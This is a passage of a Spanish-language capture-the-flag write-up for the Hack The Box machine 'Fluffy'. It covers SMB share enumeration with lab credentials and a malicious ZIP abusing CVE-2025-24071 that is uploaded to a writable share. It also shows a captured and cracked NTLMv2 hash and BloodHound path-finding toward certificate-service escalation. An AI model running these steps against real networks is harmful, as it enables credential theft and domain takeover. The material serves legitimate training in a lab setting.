&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49691&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49699&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49709&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49723&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-smb"&gt;Enumeración SMB&lt;/h3&gt;
&lt;p&gt;Confirmo que es una máquina de AD y tiro por SMB.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# nxc smb 10.129.78.23 -u j.fleischman -p &amp;#39;J0elTHEM4n1990!&amp;#39; --shares&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; / Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; Build &lt;span style="color:#ae81ff"&gt;17763&lt;/span&gt; (name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01) (domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fluffy.htb) (signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;True) (SMBv1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [+] fluffy.htb\j.fleischman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Enumerated shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ----- ----------- ------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ADMIN$ Remote Admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 C$ &lt;span style="color:#66d9ef"&gt;Default&lt;/span&gt; share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IT READ,WRITE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo que el share &lt;strong&gt;IT&lt;/strong&gt; tiene permisos de escritura, así que entro a mirar contenido:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; DIR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; . D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .. D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64 D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64.zip A &lt;span style="color:#ae81ff"&gt;1827464&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt; D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt;.zip A &lt;span style="color:#ae81ff"&gt;3225346&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Upgrade_Notice.pdf A &lt;span style="color:#ae81ff"&gt;169963&lt;/span&gt; Sat May &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;5842943&lt;/span&gt; blocks of size &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt;. &lt;span style="color:#ae81ff"&gt;1530895&lt;/span&gt; blocks available
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="pdf-con-cves"&gt;PDF con CVEs&lt;/h3&gt;
&lt;p&gt;En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-803d-8d6a-e781d2a1b179.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE ID
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24996&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24071&lt;/span&gt;--Critical
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;46785&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;29968&lt;/span&gt;--High
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;21193&lt;/span&gt;--Medium
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CVE-&lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;3445&lt;/span&gt;--Low
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La que más me interesa aquí es &lt;strong&gt;CVE-2025-24071&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Windows Explorer automatically initiates an SMB authentication request when a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;library&lt;span style="color:#f92672"&gt;-&lt;/span&gt;ms file &lt;span style="color:#f92672"&gt;is&lt;/span&gt; extracted &lt;span style="color:#f92672"&gt;from&lt;/span&gt; a ZIP archive&lt;span style="color:#f92672"&gt;.&lt;/span&gt; This causes NTLM credentials
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#f92672"&gt;in&lt;/span&gt; hashed format) to be leaked to a remote SMB server controlled by the attacker&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No user interaction &lt;span style="color:#f92672"&gt;is&lt;/span&gt; required beyond extraction&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uso este exploit:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.exploit-db.com/exploits/52310"&gt;https://www.exploit-db.com/exploits/52310&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8028-bae0-ebf957de58ee.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="captura-de-hash-ntlmv2-con-responder"&gt;Captura de hash NTLMv2 con Responder&lt;/h3&gt;
&lt;p&gt;Genero el ZIP malicioso y lo subo al share &lt;strong&gt;IT&lt;/strong&gt; (tengo escritura). En paralelo levanto Responder para capturar la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8014-a35e-d1510aafd26e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; put malicious.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;putting file malicious.zip as \malicious.zip (&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s) (average &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; kb/s)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Espero unos segundos y recibo el hash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Client &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Username &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; FLUFFY\p.agila
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;SMB&lt;/span&gt;] NTLMv2-SSP Hash &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; p.agila::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;B7AE54D953F98A9BAA7AF1FFA9A66B7E&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeo con hashcat (modo &lt;code&gt;-m 5600&lt;/code&gt;) y obtengo la contraseña:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;P.AGILA::FLUFFY&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f74081931ace9d2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b7ae54d953f98a9baa7af1ffa9a66b7e&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;prometheusx-&lt;span style="color:#ae81ff"&gt;303&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;p.agila:prometheusx-303&lt;/p&gt;
&lt;h3 id="bloodhound-path-de-escalada"&gt;BloodHound: path de escalada&lt;/h3&gt;
&lt;p&gt;No encuentro demasiado enumerando directamente con este usuario, así que tiro de &lt;strong&gt;rusthound-ce&lt;/strong&gt; y analizo con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce -u p.agila -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; --domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo un camino claro hacia &lt;code&gt;ca_svc&lt;/code&gt; (miembro de &lt;em&gt;cert publisher&lt;/em&gt;) desde &lt;code&gt;p.agila&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-802a-9f89-ce914dc839b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aprovecho permisos para añadir &lt;code&gt;p.agila&lt;/code&gt; al grupo &lt;code&gt;service accounts&lt;/code&gt;:&lt;/p&gt;
